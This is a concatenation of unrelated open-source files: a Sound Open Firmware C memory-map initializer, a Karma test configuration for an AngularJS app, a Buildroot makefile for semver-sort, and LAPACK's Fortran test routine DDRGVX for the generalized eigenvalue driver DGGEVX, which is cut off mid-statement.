{\n\t\t.blocks = ARRAY_SIZE(sys_rt_heap_map),\n\t\t.map = sys_rt_heap_map,\n\t\t.heap = HEAP_SYS_RUNTIME_BASE,\n\t\t.size = HEAP_SYS_RUNTIME_SIZE,\n\t\t.info = {.free = HEAP_SYS_RUNTIME_SIZE,},\n\t\t.caps = SOF_MEM_CAPS_RAM | SOF_MEM_CAPS_CACHE |\n\t\t\tSOF_MEM_CAPS_DMA,\n\t},\n\t.runtime[0] = {\n\t\t.blocks = ARRAY_SIZE(rt_heap_map),\n\t\t.map = rt_heap_map,\n\t\t.heap = HEAP_RUNTIME_BASE,\n\t\t.size = HEAP_RUNTIME_SIZE,\n\t\t.info = {.free = HEAP_RUNTIME_SIZE,},\n\t\t.caps = SOF_MEM_CAPS_RAM | SOF_MEM_CAPS_CACHE |\n\t\t\tSOF_MEM_CAPS_DMA,\n\t},\n\t.buffer[0] = {\n\t\t.blocks = ARRAY_SIZE(buf_heap_map),\n\t\t.map = buf_heap_map,\n\t\t.heap = HEAP_BUFFER_BASE,\n\t\t.size = HEAP_BUFFER_SIZE,\n\t\t.info = {.free = HEAP_BUFFER_SIZE,},\n\t\t.caps = SOF_MEM_CAPS_RAM | SOF_MEM_CAPS_CACHE |\n\t\t\tSOF_MEM_CAPS_DMA,\n\t},\n\t.total = {.free = HEAP_SYSTEM_SIZE + HEAP_SYS_RUNTIME_SIZE +\n\t\t\tHEAP_RUNTIME_SIZE + HEAP_BUFFER_SIZE,},\n};\n\nvoid platform_init_memmap(struct sof *sof)\n{\n\t/* memmap has been initialized statically as a part of .data */\n\tsof->memory_map = &memmap;\n}\n"} -{"text": "// Karma configuration\n// http://karma-runner.github.io/0.10/config/configuration-file.html\n\nmodule.exports = function(config) {\n config.set({\n // base path, that will be used to resolve files and exclude\n basePath: '',\n\n // testing framework to use (jasmine/mocha/qunit/...)\n frameworks: ['jasmine'],\n\n // list of files / patterns to load in the browser\n files: [\n 'app/bower_components/humane-js/humane.js',\n 'app/bower_components/jquery/jquery.js',\n 'app/bower_components/underscore/underscore.js',\n 'app/bower_components/angular/angular.js',\n 'app/bower_components/angular-mocks/angular-mocks.js',\n 'app/bower_components/angular-resource/angular-resource.js',\n 'app/bower_components/angular-route/angular-route.js',\n 'app/bower_components/angular-cookies/angular-cookies.js',\n 'app/bower_components/angular-animate/angular-animate.js',\n 'app/bower_components/angular-sanitize/angular-sanitize.js',\n 'node_modules/jasmine-collection-matchers/lib/pack.js',\n 'app/scripts/app.js',\n 'app/scripts/**/*.js',\n 'app/scripts/**/*.html',\n 'test/spec/**/*.js'\n ],\n\n // list of files / patterns to exclude\n exclude: [],\n\n preprocessors: {\n \"app/scripts/**/*.html\": [\"ng-html2js\"]\n },\n\n ngHtml2JsPreprocessor: {\n stripPrefix: 'app/',\n moduleName: 'visualDiffViewerApp'\n },\n\n // web server port\n port: 8080,\n\n // level of logging\n // possible values: LOG_DISABLE || LOG_ERROR || LOG_WARN || LOG_INFO || LOG_DEBUG\n logLevel: config.LOG_INFO,\n\n\n // enable / disable watching file and executing tests whenever any file changes\n autoWatch: false,\n\n\n // Start these browsers, currently available:\n // - Chrome\n // - ChromeCanary\n // - Firefox\n // - Opera\n // - Safari (only Mac)\n // - PhantomJS\n // - IE (only Windows)\n browsers: ['PhantomJS'],\n\n\n // Continuous Integration mode\n // if true, it capture browsers, run tests and exit\n singleRun: false\n });\n};\n"} -{"text": "################################################################################\n#\n# semver-sort\n#\n################################################################################\n\nSEMVER_SORT_VERSION = a4de79b7691945e1db9b21ffc5b39b751477dc4e\nSEMVER_SORT_SITE = $(call github,ccrisan,semver-sort,$(SEMVER_SORT_VERSION))\nSEMVER_SORT_LICENSE = MIT\n\ndefine SEMVER_SORT_BUILD_CMDS\n make CC=\"$(TARGET_CC)\" -C \"$(@D)\" semver-sort\nendef\n\ndefine SEMVER_SORT_INSTALL_TARGET_CMDS\n cp $(@D)/semver-sort $(TARGET_DIR)/usr/bin/\nendef\n\n$(eval $(generic-package))\n"} -{"text": "*> \\brief \\b DDRGVX\n*\n* =========== DOCUMENTATION ===========\n*\n* Online html documentation available at \n* http://www.netlib.org/lapack/explore-html/ \n*\n* Definition:\n* ===========\n*\n* SUBROUTINE DDRGVX( NSIZE, THRESH, NIN, NOUT, A, LDA, B, AI, BI,\n* ALPHAR, ALPHAI, BETA, VL, VR, ILO, IHI, LSCALE,\n* RSCALE, S, DTRU, DIF, DIFTRU, WORK, LWORK,\n* IWORK, LIWORK, RESULT, BWORK, INFO )\n* \n* .. Scalar Arguments ..\n* INTEGER IHI, ILO, INFO, LDA, LIWORK, LWORK, NIN, NOUT,\n* $ NSIZE\n* DOUBLE PRECISION THRESH\n* ..\n* .. Array Arguments ..\n* LOGICAL BWORK( * )\n* INTEGER IWORK( * )\n* DOUBLE PRECISION A( LDA, * ), AI( LDA, * ), ALPHAI( * ),\n* $ ALPHAR( * ), B( LDA, * ), BETA( * ),\n* $ BI( LDA, * ), DIF( * ), DIFTRU( * ), DTRU( * ),\n* $ LSCALE( * ), RESULT( 4 ), RSCALE( * ), S( * ),\n* $ VL( LDA, * ), VR( LDA, * ), WORK( * )\n* ..\n* \n*\n*> \\par Purpose:\n* =============\n*>\n*> \\verbatim\n*>\n*> DDRGVX checks the nonsymmetric generalized eigenvalue problem\n*> expert driver DGGEVX.\n*>\n*> DGGEVX computes the generalized eigenvalues, (optionally) the left\n*> and/or right eigenvectors, (optionally) computes a balancing\n*> transformation to improve the conditioning, and (optionally)\n*> reciprocal condition numbers for the eigenvalues and eigenvectors.\n*>\n*> When DDRGVX is called with NSIZE > 0, two types of test matrix pairs\n*> are generated by the subroutine DLATM6 and test the driver DGGEVX.\n*> The test matrices have the known exact condition numbers for\n*> eigenvalues. For the condition numbers of the eigenvectors\n*> corresponding the first and last eigenvalues are also know\n*> ``exactly'' (see DLATM6).\n*>\n*> For each matrix pair, the following tests will be performed and\n*> compared with the threshhold THRESH.\n*>\n*> (1) max over all left eigenvalue/-vector pairs (beta/alpha,l) of\n*>\n*> | l**H * (beta A - alpha B) | / ( ulp max( |beta A|, |alpha B| ) )\n*>\n*> where l**H is the conjugate tranpose of l.\n*>\n*> (2) max over all right eigenvalue/-vector pairs (beta/alpha,r) of\n*>\n*> | (beta A - alpha B) r | / ( ulp max( |beta A|, |alpha B| ) )\n*>\n*> (3) The condition number S(i) of eigenvalues computed by DGGEVX\n*> differs less than a factor THRESH from the exact S(i) (see\n*> DLATM6).\n*>\n*> (4) DIF(i) computed by DTGSNA differs less than a factor 10*THRESH\n*> from the exact value (for the 1st and 5th vectors only).\n*>\n*> Test Matrices\n*> =============\n*>\n*> Two kinds of test matrix pairs\n*>\n*> (A, B) = inverse(YH) * (Da, Db) * inverse(X)\n*>\n*> are used in the tests:\n*>\n*> 1: Da = 1+a 0 0 0 0 Db = 1 0 0 0 0\n*> 0 2+a 0 0 0 0 1 0 0 0\n*> 0 0 3+a 0 0 0 0 1 0 0\n*> 0 0 0 4+a 0 0 0 0 1 0\n*> 0 0 0 0 5+a , 0 0 0 0 1 , and\n*>\n*> 2: Da = 1 -1 0 0 0 Db = 1 0 0 0 0\n*> 1 1 0 0 0 0 1 0 0 0\n*> 0 0 1 0 0 0 0 1 0 0\n*> 0 0 0 1+a 1+b 0 0 0 1 0\n*> 0 0 0 -1-b 1+a , 0 0 0 0 1 .\n*>\n*> In both cases the same inverse(YH) and inverse(X) are used to compute\n*> (A, B), giving the exact eigenvectors to (A,B) as (YH, X):\n*>\n*> YH: = 1 0 -y y -y X = 1 0 -x -x x\n*> 0 1 -y y -y 0 1 x -x -x\n*> 0 0 1 0 0 0 0 1 0 0\n*> 0 0 0 1 0 0 0 0 1 0\n*> 0 0 0 0 1, 0 0 0 0 1 , where\n*>\n*> a, b, x and y will have all values independently of each other from\n*> { sqrt(sqrt(ULP)), 0.1, 1, 10, 1/sqrt(sqrt(ULP)) }.\n*> \\endverbatim\n*\n* Arguments:\n* ==========\n*\n*> \\param[in] NSIZE\n*> \\verbatim\n*> NSIZE is INTEGER\n*> The number of sizes of matrices to use. NSIZE must be at\n*> least zero. If it is zero, no randomly generated matrices\n*> are tested, but any test matrices read from NIN will be\n*> tested.\n*> \\endverbatim\n*>\n*> \\param[in] THRESH\n*> \\verbatim\n*> THRESH is DOUBLE PRECISION\n*> A test will count as \"failed\" if the \"error\", computed as\n*> described above, exceeds THRESH. Note that the error\n*> is scaled to be O(1), so THRESH should be a reasonably\n*> small multiple of 1, e.g., 10 or 100. In particular,\n*> it should not depend on the precision (single vs. double)\n*> or the size of the matrix. It must be at least zero.\n*> \\endverbatim\n*>\n*> \\param[in] NIN\n*> \\verbatim\n*> NIN is INTEGER\n*> The FORTRAN unit number for reading in the data file of\n*> problems to solve.\n*> \\endverbatim\n*>\n*> \\param[in] NOUT\n*> \\verbatim\n*> NOUT is INTEGER\n*> The FORTRAN unit number for printing out error messages\n*> (e.g., if a routine returns IINFO not equal to 0.)\n*> \\endverbatim\n*>\n*> \\param[out] A\n*> \\verbatim\n*> A is DOUBLE PRECISION array, dimension (LDA, NSIZE)\n*> Used to hold the matrix whose eigenvalues are to be\n*> computed. On exit, A contains the last matrix actually used.\n*> \\endverbatim\n*>\n*> \\param[in] LDA\n*> \\verbatim\n*> LDA is INTEGER\n*> The leading dimension of A, B, AI, BI, Ao, and Bo.\n*> It must be at least 1 and at least NSIZE.\n*> \\endverbatim\n*>\n*> \\param[out] B\n*> \\verbatim\n*> B is DOUBLE PRECISION array, dimension (LDA, NSIZE)\n*> Used to hold the matrix whose eigenvalues are to be\n*> computed. On exit, B contains the last matrix actually used.\n*> \\endverbatim\n*>\n*> \\param[out] AI\n*> \\verbatim\n*> AI is DOUBLE PRECISION array, dimension (LDA, NSIZE)\n*> Copy of A, modified by DGGEVX.\n*> \\endverbatim\n*>\n*> \\param[out] BI\n*> \\verbatim\n*> BI is DOUBLE PRECISION array, dimension (LDA, NSIZE)\n*> Copy of B, modified by DGGEVX.\n*> \\endverbatim\n*>\n*> \\param[out] ALPHAR\n*> \\verbatim\n*> ALPHAR is DOUBLE PRECISION array, dimension (NSIZE)\n*> \\endverbatim\n*>\n*> \\param[out] ALPHAI\n*> \\verbatim\n*> ALPHAI is DOUBLE PRECISION array, dimension (NSIZE)\n*> \\endverbatim\n*>\n*> \\param[out] BETA\n*> \\verbatim\n*> BETA is DOUBLE PRECISION array, dimension (NSIZE)\n*>\n*> On exit, (ALPHAR + ALPHAI*i)/BETA are the eigenvalues.\n*> \\endverbatim\n*>\n*> \\param[out] VL\n*> \\verbatim\n*> VL is DOUBLE PRECISION array, dimension (LDA, NSIZE)\n*> VL holds the left eigenvectors computed by DGGEVX.\n*> \\endverbatim\n*>\n*> \\param[out] VR\n*> \\verbatim\n*> VR is DOUBLE PRECISION array, dimension (LDA, NSIZE)\n*> VR holds the right eigenvectors computed by DGGEVX.\n*> \\endverbatim\n*>\n*> \\param[out] ILO\n*> \\verbatim\n*> \t\tILO is INTEGER\n*> \\endverbatim\n*>\n*> \\param[out] IHI\n*> \\verbatim\n*> \t\tIHI is INTEGER\n*> \\endverbatim\n*>\n*> \\param[out] LSCALE\t\n*> \\verbatim\n*> \t\tLSCALE is DOUBLE PRECISION array, dimension (N)\n*> \\endverbatim\n*>\n*> \\param[out] RSCALE\t\n*> \\verbatim\n*> \t\tRSCALE is DOUBLE PRECISION array, dimension (N)\n*> \\endverbatim\n*>\n*> \\param[out] S\t\n*> \\verbatim\n*> \t\tS is DOUBLE PRECISION array, dimension (N)\n*> \\endverbatim\n*>\n*> \\param[out] DTRU\t\n*> \\verbatim\n*> \t\tDTRU is DOUBLE PRECISION array, dimension (N)\n*> \\endverbatim\n*>\n*> \\param[out] DIF\t\t\n*> \\verbatim\n*> \t\tDIF is DOUBLE PRECISION array, dimension (N)\n*> \\endverbatim\n*>\n*> \\param[out] DIFTRU\t\t\n*> \\verbatim\n*> \t\tDIFTRU is DOUBLE PRECISION array, dimension (N)\n*> \\endverbatim\n*>\n*> \\param[out] WORK\n*> \\verbatim\n*> WORK is DOUBLE PRECISION array, dimension (LWORK)\n*> \\endverbatim\n*>\n*> \\param[in] LWORK\n*> \\verbatim\n*> LWORK is INTEGER\n*> Leading dimension of WORK. LWORK >= 2*N*N+12*N+16.\n*> \\endverbatim\n*>\n*> \\param[out] IWORK\n*> \\verbatim\n*> IWORK is INTEGER array, dimension (LIWORK)\n*> \\endverbatim\n*>\n*> \\param[in] LIWORK\n*> \\verbatim\n*> LIWORK is INTEGER\n*> Leading dimension of IWORK. Must be at least N+6.\n*> \\endverbatim\n*>\n*> \\param[out] RESULT\n*> \\verbatim\n*> \t\tRESULT is DOUBLE PRECISION array, dimension (4)\n*> \\endverbatim\n*>\n*> \\param[out] BWORK\n*> \\verbatim\n*> BWORK is LOGICAL array, dimension (N)\n*> \\endverbatim\n*>\n*> \\param[out] INFO\n*> \\verbatim\n*> INFO is INTEGER\n*> = 0: successful exit\n*> < 0: if INFO = -i, the i-th argument had an illegal value.\n*> > 0: A routine returned an error code.\n*> \\endverbatim\n*\n* Authors:\n* ========\n*\n*> \\author Univ. of Tennessee \n*> \\author Univ. of California Berkeley \n*> \\author Univ. of Colorado Denver \n*> \\author NAG Ltd. \n*\n*> \\date April 2012\n*\n*> \\ingroup double_eig\n*\n* =====================================================================\n SUBROUTINE DDRGVX( NSIZE, THRESH, NIN, NOUT, A, LDA, B, AI, BI,\n $ ALPHAR, ALPHAI, BETA, VL, VR, ILO, IHI, LSCALE,\n $ RSCALE, S, DTRU, DIF, DIFTRU, WORK, LWORK,\n $ IWORK, LIWORK, RESULT, BWORK, INFO )\n*\n* -- LAPACK test routine (version 3.4.1) --\n* -- LAPACK is a software package provided by Univ. of Tennessee, --\n* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..--\n* April 2012\n*\n* .. Scalar Arguments ..\n INTEGER IHI, ILO, INFO, LDA, LIWORK, LWORK, NIN, NOUT,\n $ NSIZE\n DOUBLE PRECISION THRESH\n* ..\n* .. Array Arguments ..\n LOGICAL BWORK( * )\n INTEGER IWORK( * )\n DOUBLE PRECISION A( LDA, * ), AI( LDA, * ), ALPHAI( * ),\n $ ALPHAR( * ), B( LDA, * ), BETA( * ),\n $ BI( LDA, * ), DIF( * ), DIFTRU( * ), DTRU( * ),\n $ LSCALE( * ), RESULT( 4 ), RSCALE( * ), S( * ),\n $ VL( LDA, * ), VR( LDA, * ), WORK( * )\n* ..\n*\n* =====================================================================\n*\n* .. Parameters ..\n DOUBLE PRECISION ZERO, ONE, TEN, TNTH, HALF\n PARAMETER ( ZERO = 0.0D+0, ONE = 1.0D+0, TEN = 1.0D+1,\n $ TNTH = 1.0D-1, HALF = 0.5D+0 )\n* ..\n* .. Local Scalars ..\n INTEGER I, IPTYPE, IWA, IWB, IWX, IWY, J, LINFO,\n $ MAXWRK, MINWRK, N, NERRS, NMAX, NPTKNT, NTESTT\n DOUBLE PRECISION ABNORM, ANORM, BNORM, RATIO1, RATIO2, THRSH2,\n $ ULP, ULPINV\n* ..\n* .. Local Arrays ..\n DOUBLE PRECISION WEIGHT( 5 )\n* ..\n* .. External Functions ..\n INTEGER ILAENV\n DOUBLE PRECISION DLAMCH, DLANGE\n EXTERNAL ILAENV, DLAMCH, DLANGE\n* ..\n* .. External Subroutines ..\n EXTERNAL ALASVM, DGET52, DGGEVX, DLACPY, DLATM6, XERBLA\n* ..\n* .. Intrinsic Functions ..\n INTRINSIC ABS, MAX, SQRT\n* ..\n* .. Executable Statements ..\n*\n* Check for errors\n*\n INFO = 0\n*\n NMAX = 5\n*\n IF( NSIZE.LT.0 ) THEN\n INFO = -1\n ELSE IF( THRESH.LT.ZERO ) THEN\n INFO = -2\n ELSE IF( NIN.LE.0 ) THEN\n INFO = -3\n ELSE IF( NOUT.LE.0 ) THEN\n INFO = -4\n ELSE IF( LDA.LT.1 .OR. LDA.LT.NMAX ) THEN\n INFO = -6\n ELSE IF( LIWORK.LT.NMAX+6 ) THEN\n INFO = -26\n END IF\n*\n* Compute workspace\n* (Note: Comments in the code beginning \"Workspace:\" describe the\n* minimal amount of workspace needed at that point in the code,\n* as well as the preferred amount for good performance.\n* NB refers to the optimal block size for the immediately\n* following subroutine, as returned by ILAENV.)\n*\n MINWRK = 1\n IF( INFO.EQ.0 .AND. LWORK.GE.1 ) THEN\n MINWRK = 2*NMAX*NMAX + 12*NMAX + 16\n MAXWRK = 6*NMAX + NMAX*ILAENV( 1, 'DGEQRF', ' ', NMAX, 1, NMAX,\n $ 0 )\n MAXWRK = MAX( MAXWRK, 2*NMAX*NMAX+12*NMAX+16 )\n WORK( 1 ) = MAXWRK\n END IF\n*\n IF( LWORK.LT.MINWRK )\n $ INFO = -24\n*\n IF( INFO.NE.0 ) THEN\n CALL XERBLA( 'DDRGVX', -INFO )\n RETURN\n END IF\n*\n N = 5\n ULP = DLAMCH( 'P' )\n ULPINV = ONE / ULP\n THRSH2 = TEN*THRESH\n NERRS = 0\n NPTKNT = 0\n NTESTT = 0\n*\n IF( NSIZE.EQ.0 )\n $ GO TO 90\n*\n* Parameters used for generating test matrices.\n*\n WEIGHT( 1 ) = TNTH\n WEIGHT( 2 ) = HALF\n WEIGHT( 3 ) = ONE\n WEIGHT( 4 ) = ONE / WEIGHT( 2 )\n WEIGHT( 5 ) = ONE / WEIGHT( 1 )\n*\n DO 80 IPTYPE = 1, 2\n DO 70 IWA = 1, 5\n DO 60 IWB = 1, 5\n DO 50 IWX = 1, 5\n DO 40 IWY = 1, 5\n*\n* generated a test matrix pair\n*\n CALL DLATM6( IPTYPE, 5, A, LDA, B, VR, LDA, VL,\n $ LDA, WEIGHT( IWA ), WEIGHT( IWB ),\n $ WEIGHT( IWX ), WEIGHT( IWY ), DTRU,\n $ DIFTRU )\n*\n* Compute eigenvalues/eigenvectors of (A, B).\n* Compute eigenvalue/eigenvector condition numbers\n* using computed eigenvectors.\n*\n CALL DLACPY( 'F', N, N, A, LDA, AI, LDA )\n CALL DLACPY( 'F', N, N, B, LDA, BI, LDA )\n*\n CALL DGGEVX( 'N', 'V', 'V', 'B', N, AI, LDA, BI,\n $ LDA, ALPHAR, ALPHAI, BETA, VL, LDA,\n $ VR, LDA, ILO, IHI, LSCALE, RSCALE,\n $ ANORM, BNORM, S, DIF, WORK, LWORK,\n $ IWORK, BWORK, LINFO )\n IF( LINFO.NE.0 ) THEN\n RESULT( 1 ) = ULPINV\n WRITE( NOUT, FMT = 9999 )'DGGEVX', LINFO, N,\n $ IPTYPE\n GO TO 30\n END IF\n*\n* Compute the norm(A, B)\n*\n CALL DLACPY( 'Full', N, N, AI, LDA, WORK, N )\n CALL DLACPY( 'Full', N, N, BI, LDA, WORK( N*N+1 ),\n $ N )\n ABNORM = DLANGE( 'Fro', N, 2*N, WORK, N, WORK )\n*\n* Tests (1) and (2)\n*\n RESULT( 1 ) = ZERO\n CALL DGET52( .TRUE., N, A, LDA, B, LDA, VL, LDA,\n $ ALPHAR, ALPHAI, BETA, WORK,\n $ RESULT( 1 ) )\n IF( RESULT( 2 ).GT.THRESH ) THEN\n WRITE( NOUT, FMT = 9998 )'Left', 'DGGEVX',\n $ RESULT( 2 ), N, IPTYPE, IWA, IWB, IWX, IWY\n END IF\n*\n RESULT( 2 ) = ZERO\n CALL DGET52( .FALSE., N, A, LDA, B, LDA, VR, LDA,\n $ ALPHAR, ALPHAI, BETA, WORK,\n $ RESULT( 2 ) )\n IF( RESULT( 3 ).GT.THRESH ) THEN\n WRITE( NOUT, FMT = 9998 )'Right', 'DGGEVX',\n $ RESULT( 3 ), N, IPTYPE, IWA, IWB, IWX, IWY\n END IF\n*\n* Test (3)\n*\n RESULT( 3 ) = ZERO\n DO 10 I = 1, N\n IF( S( I ).EQ.ZERO ) THEN\n IF( DTRU( I ).GT.ABNORM*ULP )\n $ RESULT( 3 ) = ULPINV\n ELSE IF( DTRU( I ).EQ.ZERO ) THEN\n IF( S( I ).GT.ABNORM*ULP )\n $ RESULT( 3 ) = ULPINV\n ELSE\n WORK( I ) = MAX( ABS( DTRU( I ) / S( I ) ),\n $ ABS( S( I ) / DTRU( I ) ) )\n RESULT( 3 ) = MAX( RESULT( 3 ), WORK( I ) )\n END IF\n 10 CONTINUE\n*\n* Test (4)\n*\n RESULT( 4 ) = ZERO\n IF( DIF( 1 ).EQ.ZERO ) THEN\n IF( DIFTRU( 1 ).GT.ABNORM*ULP )\n $ RESULT( 4 ) = ULPINV\n ELSE IF( DIFTRU( 1 ).EQ.ZERO ) THEN\n IF( DIF( 1 ).GT.ABNORM*ULP )\n $ RESULT( 4 ) = ULPINV\n ELSE IF( DIF( 5 ).EQ.ZERO ) THEN\n IF( DIFTRU( 5 ).GT.ABNORM*ULP )\n $ RESULT( 4 ) = ULPINV\n ELSE IF( DIFTRU( 5 ).EQ.ZERO ) THEN\n IF( DIF( 5 ).GT.ABNORM*ULP )\n $ RESULT( 4 ) = ULPINV\n ELSE\n RATIO1 = MAX( ABS( DIFTRU( 1 ) / DIF( 1 ) ),\n $ ABS( DIF( 1 ) / DIFTRU( 1 ) ) )\n RATIO2 = MAX( ABS( DIFTRU( 5 ) / DIF( 5 ) ),\n $ ABS( DIF( 5 ) / DIFTRU( 5 ) ) )\n RESULT( 4 ) = MAX( RATIO1, RATIO2 )\n END IF\n*\n NTESTT = NTESTT + 4\n*\n* Print out tests which fail.\n*\n DO 20 J = 1, 4\n IF( ( RESULT( J ).GE.THRSH2 .AND. J.GE.4 ) .OR.\n $ ( RESULT( J ).GE.THRESH .AND. J.LE.3 ) )\n $ THEN\n*\n* If this is the first test to fail,\n* print a header to the data file.\n*\n IF( NERRS.EQ.0 ) THEN\n WRITE( NOUT, FMT = 9997 )'DXV'\n*\n* Print out messages for built-in examples\n*\n* Matrix types\n*\n WRITE( NOUT, FMT = 9995 )\n WRITE( NOUT, FMT = 9994 )\n WRITE( NOUT, FMT = 9993 )\n*\n* Tests performed\n*\n WRITE( NOUT, FMT = 9992 )'''',\n $ 'transpose', ''''\n*\n END IF\n NERRS = NERRS + 1\n IF( RESULT( J ).LT.10000.0D0 ) THEN\n WRITE( NOUT, FMT = 9991 )IPTYPE, IWA,\n $ IWB, IWX, IWY, J, RESULT( J )\n ELSE\n WRITE( NOUT, FMT = 9990 )IPTYPE, IWA,\n $ IWB, IWX, IWY, J, RESULT( J )\n END IF\n END IF\n 20 CONTINUE\n*\n 30 CONTINUE\n*\n 40 CONTINUE\n 50 CONTINUE\n 60 CONTINUE\n 70 CONTINUE\n 80 CONTINUE\n*\n GO TO 150\n*\n 90 CONTINUE\n*\n* Read in data from file to check accuracy of condition estimation\n* Read input data until N=0\n*\n READ( NIN, FMT = *, END = 150 )N\n IF( N.EQ.0 )\n $ GO TO 150\n DO 100 I = 1, N\n READ( NIN, FMT = * )( A( I, J ), J = 1, N )\n 100 CONTINUE\n DO 110 I = 1, N\n READ( NIN, FMT = * )( B( I, J ), J = 1, N )\n 110 CONTINUE\n READ( NIN, FMT = * )( DTRU( I ), I = 1, N )\n READ( NIN, FMT = * )( DIFTRU( I ), I = 1, N )\n*\n NPTKNT = NPTKNT + 1\n*\n* Compute eigenvalues/eigenvectors of (A, B).\n* Compute eigenvalue/eigenvector condition numbers\n* using computed eigenvectors.\n*\n CALL DLACPY( 'F', N, N, A, LDA, AI, LDA )\n CALL DLACPY( 'F', N, N, B, LDA, BI, LDA )\n*\n CALL DGGEVX( 'N', 'V', 'V', 'B', N, AI, LDA, BI, LDA, ALPHAR,\n $ ALPHAI, BETA, VL, LDA, VR, LDA, ILO, IHI, LSCALE,\n $ RSCALE, ANORM, BNORM, S, DIF, WORK, LWORK, IWORK,\n $ BWORK, LINFO )\n*\n IF( LINFO.NE.0 ) THEN\n RESULT( 1 ) = ULPINV\n WRITE( NOUT, FMT = 9987 )'DGGEVX', LINFO, N, NPTKNT\n GO TO 140\n END IF\n*\n* Compute the norm(A, B)\n*\n CALL DLACPY( 'Full', N, N, AI, LDA, WORK, N )\n CALL DLACPY( 'Full', N, N, BI, LDA, WORK( N*N+1 ), N )\n ABNORM = DLANGE( 'Fro', N, 2*N, WORK, N, WORK )\n*\n* Tests (1) and (2)\n*\n RESULT( 1 ) = ZERO\n CALL DGET52( .TRUE., N, A, LDA, B, LDA, VL, LDA, ALPHAR, ALPHAI,\n $ BETA, WORK, RESULT( 1 ) )\n IF( RESULT( 2 ).GT.THRESH ) THEN\n WRITE( NOUT, FMT = 9986 )'Left', 'DGGEVX', RESULT( 2 ), N,\n $ NPTKNT\n END IF\n*\n RESULT( 2 ) = ZERO\n CALL DGET52( .FALSE., N, A, LDA, B, LDA, VR, LDA, ALPHAR, ALPHAI,\n $ BETA, WORK, RESULT( 2 ) )\n IF( RESULT( 3 ).GT.THRESH ) THEN\n WRITE( NOUT, FMT = 9986 )'Right', 'DGGEVX', RESULT( 3 ), N,\n $ NPTKNT\n END IF\n*\n* Test (3)\n*\n RESULT( 3 ) = ZERO\n DO 120 I = 1, N\n IF( S( I ).EQ.ZERO ) THEN\n IF( DTRU( I ).GT.ABNORM*ULP )\n $ RESULT( 3 ) = ULPINV\n ELSE IF( DTRU( I ).EQ.ZERO ) THEN\n IF( S( I ).GT.ABNORM*ULP )\n $ RESULT( 3 ) = ULPINV\n ELSE\n WORK( I ) = MAX( ABS( DTRU( I ) / S( I ) ),\n $ ABS( S( I ) / DTRU( I ) ) )\n RESULT( 3 ) = MAX( RESULT( 3 ), WORK( I ) )\n END IF\n 120 CONTINUE\n*\n* Test (4)\n*\n RESULT( 4 ) = ZERO\n IF( DIF( 1 ).EQ.ZERO ) THEN\n IF( DIFTRU( 1 ).GT.ABNORM*ULP )\n $ RESULT( 4 ) = ULPINV\n ELSE IF( DIFTRU( 1 ).EQ.ZERO ) THEN\n IF( DIF( 1 ).GT.ABNORM*ULP )\n $ RESULT( 4 ) = ULPINV\n ELSE IF( DIF( 5 ).EQ.ZERO ) THEN\n IF( DIFTRU( 5 ).GT.ABNORM*ULP )\n $ RESULT( 4 ) = ULPINV\n ELSE IF( DIFTRU( 5 ).EQ.ZERO ) THEN\n IF( DIF( 5 ).GT.ABNORM*ULP )\n $ RESULT( 4 ) = ULPINV\n ELSE\n RATIO1 = MAX( ABS( DIFTRU( 1 ) / DIF( 1 ) ),\n $ ABS( DIF( 1 ) / DIFTRU( 1 ) ) )\n RATIO2 = MAX( ABS( DIFTRU( 5 ) / DIF( 5 ) ),\n $ ABS( DIF( 5 ) / DIFTRU( 5 ) ) )\n RESULT( 4 ) = MAX( RATIO1, RATIO2 )\n END IF\n*\n NTESTT = NTESTT + 4\n*\n* Print out tests which fail.\n*\n DO 130 J = 1, 4\n IF( RESULT( J ).GE.THRSH2 ) THEN\n*\n* If this is the first test to fail,\n* print a header to the data file.\n*\n IF( NERRS.EQ.0 ) THEN\n WRITE( NOUT, FMT = 9997 )'DXV'\n*\n* Print out messages for built-in examples\n*\n* Matrix types\n*\n WRITE( NOUT, FMT = 9996 )\n*\n* Tests performed\n*\n WRITE( NOUT, FMT = 9992 )'''', 'transpose', ''''\n*\n END IF\n NERRS = NERRS + 1\n IF( RESULT( J ).LT.10000.0D0 ) THEN\n WRITE( NOUT, FMT = 9989 )NPTKNT, N, J, RESULT( J )\n ELSE\n WRITE( NOUT, FMT = 9988 )NPTKNT, N, J, RESULT( J )\n END IF\n END IF\n 130 CONTINUE\n*\n 140 CONTINUE\n*\n GO TO 90\n 150 CONTINUE\n*\n* Summary\n*\n CALL ALASVM( 'DXV', NOUT, NERRS, NTESTT, 0 )\n*\n WORK( 1 ) = MAXWRK\n*\n RETURN\n*\n 9999 FORMAT( ' DDRGVX: ', A, ' returned INFO=', I6, '.', / 9X, 'N=',\n $ I6, ', JTYPE=', I6, ')' )\n*\n 9998 FORMAT( ' DDRGVX: ', A, ' Eigenvectors from ', A, ' incorrectly ',\n $ 'normalized.', / ' Bits of error=', 0P, G10.3, ',', 9X,\n $ 'N=', I6, ', JTYPE=', I6, ', IWA=', I5, ', IWB=', I5,\n $ ', IWX=', I5, ', IWY=', I5 )\n*\n 9997 FORMAT( / 1X, A3, ' -- Real Expert Eigenvalue/vector',\n $ ' problem driver' )\n*\n 9996 FORMAT( ' Input Example' )\n*\n 9995 FORMAT( ' Matrix types: ', / )\n*\n 9994 FORMAT( ' TYPE 1: Da is diagonal, Db is identity, ',\n $ / ' A = Y^(-H) Da X^(-1), B = Y^(-H) Db X^(-1) ',\n $ / ' YH and X are left and right eigenvectors. ', / )\n*\n 9993 FORMAT( ' TYPE 2: Da is quasi-diagonal, Db is identity, ',\n $ / ' A = Y^(-H) Da X^(-1), B = Y^(-H) Db X^(-1) ',\n $ / ' YH and X are left and right eigenvectors. ', / )\n*\n 9992 FORMAT( / ' Tests performed: ', / 4X,\n $ ' a is alpha, b is beta, l is a left eigenvector, ', / 4X,\n $ ' r is a right eigenvector and ', A, ' means ', A, '.',\n $ / ' 1 = max | ( b A - a B )', A, ' l | / const.',\n $ / ' 2 = max | ( b A - a B ) r | / const.',\n $ / ' 3 = max ( Sest/Stru, Stru/Sest ) ',\n $ ' over all eigenvalues', /\n $ ' 4 = max( DIFest/DIFtru, DIFtru/DIFest ) ',\n $ ' over the 1st and 5th eigenvectors', / )\n*\n 9991 FORMAT( ' Type=', I2, ',', ' IWA=', I2, ', IWB=', I2, ', IWX=',\n $ I2, ', IWY=', I2, ', result ', I2, ' is', 0P, F8.2 )\n 9990 FORMAT( ' Type=', I2, ',', ' IWA=', I2, ', IWB=', I2, ', IWX=',\n $ I2, ', IWY=', I2, ', result ', I2, ' is', 1P, D10.3 )\n 9989 FORMAT( ' Input example #', I2, ', matrix order=', I4, ',',\n $ ' result ', 